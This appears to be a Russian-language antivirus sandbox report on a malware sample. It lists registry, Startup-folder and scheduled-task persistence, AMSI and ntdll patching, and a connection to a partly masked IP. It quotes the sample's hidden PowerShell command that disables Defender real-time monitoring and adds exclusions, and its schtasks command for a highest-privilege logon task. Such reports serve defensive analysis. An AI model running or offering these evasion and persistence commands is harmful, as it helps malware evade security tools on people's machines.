Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'SysHelper' = '<Полный путь к файлу>'
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\syshost.exe
- <SYSTEM32>\tasks\syshost
Вредоносные функции
Для затруднения выявления своего присутствия в системе
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command "for($i=0;$i -lt 3;$i++){ try { Set-MpPreference -DisableRealtimeMonitoring $true -EA 0; Add-MpPreference -ExclusionPath $env:USERPROFILE -EA 0; Add-MpPr...
Патчит код
в динамической библиотеке AMSI
- Процесс ofbal.exe, модуль Amsi.dll
в динамической библиотеке NTDLL
- Процесс ofbal.exe, модуль ntdll.dll
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\microsoft\windows\syshost.exe
Сетевая активность
Подключается к
- '85.##0.107.59':8443
TCP
Другие
- '85.##0.107.59':8443
Другое
Запускает на исполнение
- '<SYSTEM32>\schtasks.exe' /create /tn "SysHost" /tr "\"%APPDATA%\Microsoft\Windows\syshost.exe\"" /sc onlogon /rl highest /f (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command "for($i=0;$i -lt 3;$i++){ try { Set-MpPreference -DisableRealtimeMonitoring $true -EA 0; Add-MpPreference -ExclusionPath $env:USERPROFILE -EA 0; Add-MpPr... (со скрытым окном)
